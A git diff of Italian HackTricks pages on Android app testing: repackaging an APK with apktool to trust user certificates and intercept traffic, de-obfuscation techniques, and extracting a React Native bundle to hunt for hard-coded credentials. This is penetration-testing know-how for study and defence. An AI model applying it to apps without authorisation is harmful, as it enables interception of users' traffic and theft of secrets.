* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**Dai un'occhiata a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
**Dai un'occhiata a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
@ -20,15 +21,15 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
Alcune applicazioni non accettano certificati scaricati dall'utente, quindi per ispezionare il traffico web di alcune app dobbiamo effettivamente decompilare l'applicazione e aggiungere alcune cose e ricompilarla.
|
Alcune applicazioni non gradiscono i certificati scaricati dagli utenti, quindi per ispezionare il traffico web per alcune app dobbiamo effettivamente decompilare l'applicazione, aggiungere alcune cose e ricompilarla.
|
||||||
|
|
||||||
# Automatico
|
# Automatico
|
||||||
|
|
||||||
Lo strumento [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **apporterà automaticamente** le modifiche necessarie all'applicazione per iniziare a catturare le richieste e disabilitare anche il pinning del certificato (se presente).
|
Lo strumento [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **effettuerà automaticamente** le modifiche necessarie all'applicazione per iniziare a catturare le richieste e disabiliterà anche il pinning del certificato (se presente).
|
||||||
|
|
||||||
# Manuale
|
# Manuale
|
||||||
|
|
||||||
Prima decompiliamo l'app: `apktool d *nome-file*.apk`
|
Prima decompiliamo l'app: `apktool d *file-name*.apk`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img9.png)
|
![](../../.gitbook/assets/img9.png)
|
||||||
|
|
||||||
|
@ -36,15 +37,15 @@ Poi andiamo nel file **Manifest.xml** e scorriamo fino al tag `<\application and
|
||||||
|
|
||||||
`android:networkSecurityConfig="@xml/network_security_config`
|
`android:networkSecurityConfig="@xml/network_security_config`
|
||||||
|
|
||||||
Prima dell'aggiunta:
|
Prima di aggiungere:
|
||||||
|
|
||||||
![](../../.gitbook/assets/img10.png)
|
![](../../.gitbook/assets/img10.png)
|
||||||
|
|
||||||
Dopo l'aggiunta:
|
Dopo aver aggiunto:
|
||||||
|
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
Ora vai nella cartella **res/xml** e crea/modifica un file chiamato network\_security\_config.xml con i seguenti contenuti:
|
Ora andiamo nella cartella **res/xml** e creiamo/modifichiamo un file chiamato network\_security\_config.xml con i seguenti contenuti:
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -57,11 +58,11 @@ Ora vai nella cartella **res/xml** e crea/modifica un file chiamato network\_sec
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
Quindi salva il file e esci da tutte le directory e ricostruisci l'APK con il seguente comando: `apktool b *nome-cartella/* -o *file-output.apk*`
|
Poi salva il file e esci da tutte le directory e ricostruisci l'apk con il seguente comando: `apktool b *folder-name/* -o *output-file.apk*`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
Infine, devi solo **firmare la nuova applicazione**. [Leggi questa sezione della pagina Smali - Decompilazione/\[Modifica\]/Compilazione per imparare come firmarla](smali-changes.md#sing-the-new-apk).
|
Infine, devi solo **firmare la nuova applicazione**. [Leggi questa sezione della pagina Smali - Decompiling/\[Modifying\]/Compiling per imparare come firmarla](smali-changes.md#sing-the-new-apk).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -71,14 +72,14 @@ Infine, devi solo **firmare la nuova applicazione**. [Leggi questa sezione della
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**Piani di Abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merch ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,64 +1,35 @@
|
||||||
<details>
|
## Manual **Tecniche di De-obfuscazione**
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
Nel campo della **sicurezza del software**, il processo di rendere comprensibile il codice oscurato, noto come **de-obfuscazione**, è cruciale. Questa guida esplora varie strategie per la de-obfuscazione, concentrandosi sulle tecniche di analisi statica e sul riconoscimento dei modelli di offuscamento. Inoltre, introduce un esercizio per l'applicazione pratica e suggerisce ulteriori risorse per coloro che sono interessati ad esplorare argomenti più avanzati.
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
### **Strategie per la De-obfuscazione Statica**
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
Quando si tratta di **codice offuscato**, possono essere impiegate diverse strategie a seconda della natura dell'offuscamento:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
- **Bytecode DEX (Java)**: Un approccio efficace consiste nell'identificare i metodi di de-obfuscazione dell'applicazione, quindi replicare questi metodi in un file Java. Questo file viene eseguito per invertire l'offuscamento sugli elementi mirati.
|
||||||
|
- **Codice Java e Nativo**: Un altro metodo è tradurre l'algoritmo di de-obfuscazione in un linguaggio di scripting come Python. Questa strategia evidenzia che l'obiettivo principale non è comprendere completamente l'algoritmo, ma eseguirlo in modo efficace.
|
||||||
|
|
||||||
## Tecniche di **De-obfuscation Manuale**
|
### **Identificazione dell'Offuscamento**
|
||||||
|
|
||||||
Nel campo della **sicurezza del software**, il processo di rendere comprensibile il codice oscurato, noto come **de-obfuscation**, è cruciale. Questa guida approfondisce diverse strategie per la de-obfuscation, concentrandosi sulle tecniche di analisi statica e sul riconoscimento dei modelli di obfuscation. Inoltre, introduce un esercizio per l'applicazione pratica e suggerisce ulteriori risorse per coloro interessati ad esplorare argomenti più avanzati.
|
Riconoscere il codice offuscato è il primo passo nel processo di de-obfuscazione. Gli indicatori chiave includono:
|
||||||
|
|
||||||
### **Strategie per la De-obfuscation Statica**
|
- L'**assenza o la confusione delle stringhe** in Java e Android, che possono suggerire offuscamento delle stringhe.
|
||||||
|
- La **presenza di file binari** nella directory delle risorse o chiamate a `DexClassLoader`, che suggeriscono l'estrazione del codice e il caricamento dinamico.
|
||||||
|
- L'uso di **librerie native insieme a funzioni JNI non identificabili**, che indicano un potenziale offuscamento dei metodi nativi.
|
||||||
|
|
||||||
Nel trattare con il **codice oscurato**, possono essere utilizzate diverse strategie a seconda della natura dell'obfuscation:
|
## **Analisi Dinamica nella De-obfuscazione**
|
||||||
|
|
||||||
- **Bytecode DEX (Java)**: Un approccio efficace consiste nell'identificare i metodi di de-obfuscation dell'applicazione, quindi replicare questi metodi in un file Java. Questo file viene eseguito per invertire l'obfuscation sugli elementi mirati.
|
Eseguendo il codice in un ambiente controllato, l'analisi dinamica **consente di osservare come il codice offuscato si comporta in tempo reale**. Questo metodo è particolarmente efficace per scoprire il funzionamento interno di modelli di offuscamento complessi progettati per nascondere il vero intento del codice.
|
||||||
- **Java e Codice Nativo**: Un altro metodo consiste nel tradurre l'algoritmo di de-obfuscation in un linguaggio di scripting come Python. Questa strategia sottolinea che l'obiettivo principale non è comprendere completamente l'algoritmo, ma eseguirlo in modo efficace.
|
|
||||||
|
|
||||||
### **Riconoscimento dell'Obfuscation**
|
|
||||||
|
|
||||||
Il riconoscimento del codice obfuscato è il primo passo nel processo di de-obfuscation. Gli indicatori chiave includono:
|
|
||||||
|
|
||||||
- L'**assenza o la confusione delle stringhe** in Java e Android, che possono suggerire l'obfuscation delle stringhe.
|
|
||||||
- La **presenza di file binari** nella directory delle risorse o chiamate a `DexClassLoader`, che suggeriscono il decompressione del codice e il caricamento dinamico.
|
|
||||||
- L'uso di **librerie native insieme a funzioni JNI non identificabili**, che indicano un'eventuale obfuscation dei metodi nativi.
|
|
||||||
|
|
||||||
## **Analisi Dinamica nella De-obfuscation**
|
|
||||||
|
|
||||||
Eseguendo il codice in un ambiente controllato, l'analisi dinamica **consente di osservare come il codice obfuscato si comporta in tempo reale**. Questo metodo è particolarmente efficace nel rivelare il funzionamento interno di modelli di obfuscation complessi progettati per nascondere la vera intenzione del codice.
|
|
||||||
|
|
||||||
### **Applicazioni dell'Analisi Dinamica**
|
### **Applicazioni dell'Analisi Dinamica**
|
||||||
|
|
||||||
- **Decrittazione in Tempo di Esecuzione**: Molte tecniche di obfuscation prevedono la crittografia di stringhe o segmenti di codice che vengono decrittati solo durante l'esecuzione. Attraverso l'analisi dinamica, questi elementi crittografati possono essere catturati nel momento della decrittazione, rivelando la loro vera forma.
|
- **Decrittazione a Runtime**: Molte tecniche di offuscamento comportano la crittografia di stringhe o segmenti di codice che vengono decrittografati solo a runtime. Attraverso l'analisi dinamica, questi elementi crittografati possono essere catturati nel momento della decrittazione, rivelando la loro forma reale.
|
||||||
- **Identificazione delle Tecniche di Obfuscation**: Monitorando il comportamento dell'applicazione, l'analisi dinamica può aiutare a identificare specifiche tecniche di obfuscation utilizzate, come la virtualizzazione del codice, i packer o la generazione dinamica del codice.
|
- **Identificazione delle Tecniche di Offuscamento**: Monitorando il comportamento dell'applicazione, l'analisi dinamica può aiutare a identificare specifiche tecniche di offuscamento utilizzate, come la virtualizzazione del codice, i packer o la generazione dinamica di codice.
|
||||||
- **Scoperta di Funzionalità Nascoste**: Il codice obfuscato può contenere funzionalità nascoste che non sono evidenti solo attraverso l'analisi statica. L'analisi dinamica consente di osservare tutti i percorsi del codice, inclusi quelli eseguiti condizionalmente, per scoprire tali funzionalità nascoste.
|
- **Scoprire Funzionalità Nascoste**: Il codice offuscato può contenere funzionalità nascoste che non sono evidenti attraverso l'analisi statica da sola. L'analisi dinamica consente di osservare tutti i percorsi del codice, inclusi quelli eseguiti condizionalmente, per scoprire tali funzionalità nascoste.
|
||||||
|
|
||||||
## Riferimenti e Ulteriori Letture
|
## Riferimenti e Ulteriori Letture
|
||||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||||
* BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||||
* Questa presentazione illustra l'ingegneria inversa di una delle librerie native anti-analisi più complesse che ho visto utilizzate da un'applicazione Android. Copre principalmente le tecniche di obfuscation nel codice nativo.
|
* Questo intervento tratta il reverse engineering di una delle librerie native anti-analisi più complesse che ho visto utilizzate da un'applicazione Android. Copre principalmente tecniche di offuscamento nel codice nativo.
|
||||||
* REcon 2019: "The Path to the Payload: Android Edition" \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||||
* Questa presentazione discute una serie di tecniche di obfuscation, esclusivamente nel codice Java, che un botnet Android stava utilizzando per nascondere il suo comportamento.
|
* Questo intervento discute una serie di tecniche di offuscamento, esclusivamente nel codice Java, che un botnet Android stava utilizzando per nascondere il suo comportamento.
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,26 +1,27 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# Analisi dell'applicazione React Native
|
# Analisi dell'Applicazione React Native
|
||||||
|
|
||||||
Per confermare se l'applicazione è stata creata con il framework React Native, seguire questi passaggi:
|
Per confermare se l'applicazione è stata costruita sul framework React Native, segui questi passaggi:
|
||||||
|
|
||||||
1. Rinomina il file APK con l'estensione zip e estrailo in una nuova cartella utilizzando il comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
|
1. Rinomina il file APK con un'estensione zip ed estrailo in una nuova cartella usando il comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
|
||||||
|
|
||||||
2. Passa alla nuova cartella ReactNative appena creata e individua la cartella assets. All'interno di questa cartella dovresti trovare il file `index.android.bundle`, che contiene il codice JavaScript di React in formato minificato.
|
2. Naviga nella nuova cartella ReactNative e individua la cartella assets. All'interno di questa cartella, dovresti trovare il file `index.android.bundle`, che contiene il JavaScript React in un formato minificato.
|
||||||
|
|
||||||
3. Utilizza il comando `find . -print | grep -i ".bundle$"` per cercare il file JavaScript.
|
3. Usa il comando `find . -print | grep -i ".bundle$"` per cercare il file JavaScript.
|
||||||
|
|
||||||
Per analizzare ulteriormente il codice JavaScript, crea un file chiamato `index.html` nella stessa directory con il seguente codice:
|
Per analizzare ulteriormente il codice JavaScript, crea un file chiamato `index.html` nella stessa directory con il seguente codice:
|
||||||
```html
|
```html
|
||||||
|
@ -30,33 +31,34 @@ Puoi caricare il file su [https://spaceraccoon.github.io/webpack-exploder/](http
|
||||||
|
|
||||||
1. Apri il file `index.html` in Google Chrome.
|
1. Apri il file `index.html` in Google Chrome.
|
||||||
|
|
||||||
2. Apri la Console degli sviluppatori premendo **Command+Option+J per OS X** o **Control+Shift+J per Windows**.
|
2. Apri la Developer Toolbar premendo **Command+Option+J per OS X** o **Control+Shift+J per Windows**.
|
||||||
|
|
||||||
3. Fai clic su "Sources" nella Console degli sviluppatori. Dovresti vedere un file JavaScript suddiviso in cartelle e file, che compongono il bundle principale.
|
3. Clicca su "Sources" nella Developer Toolbar. Dovresti vedere un file JavaScript suddiviso in cartelle e file, che compongono il bundle principale.
|
||||||
|
|
||||||
Se trovi un file chiamato `index.android.bundle.map`, sarai in grado di analizzare il codice sorgente in un formato non minificato. I file di mappatura contengono il mapping del codice sorgente, che ti consente di mappare gli identificatori minificati.
|
Se trovi un file chiamato `index.android.bundle.map`, sarai in grado di analizzare il codice sorgente in un formato non minificato. I file di mappatura contengono mappature sorgente, che ti permettono di mappare identificatori minificati.
|
||||||
|
|
||||||
Per cercare credenziali sensibili e endpoint, segui questi passaggi:
|
Per cercare credenziali sensibili e endpoint, segui questi passaggi:
|
||||||
|
|
||||||
1. Identifica le parole chiave sensibili da analizzare nel codice JavaScript. Le applicazioni React Native spesso utilizzano servizi di terze parti come Firebase, endpoint del servizio AWS S3, chiavi private, ecc.
|
1. Identifica parole chiave sensibili per analizzare il codice JavaScript. Le applicazioni React Native spesso utilizzano servizi di terze parti come Firebase, endpoint del servizio AWS S3, chiavi private, ecc.
|
||||||
|
|
||||||
2. In questo caso specifico, è stato osservato che l'applicazione utilizzava il servizio Dialogflow. Cerca un pattern relativo alla sua configurazione.
|
2. In questo caso specifico, è stato osservato che l'applicazione utilizzava il servizio Dialogflow. Cerca un modello relativo alla sua configurazione.
|
||||||
|
|
||||||
3. È stato fortunato trovare credenziali sensibili codificate nel codice JavaScript durante il processo di riconoscimento.
|
3. È stato fortunato che credenziali sensibili hard-coded siano state trovate nel codice JavaScript durante il processo di ricognizione.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
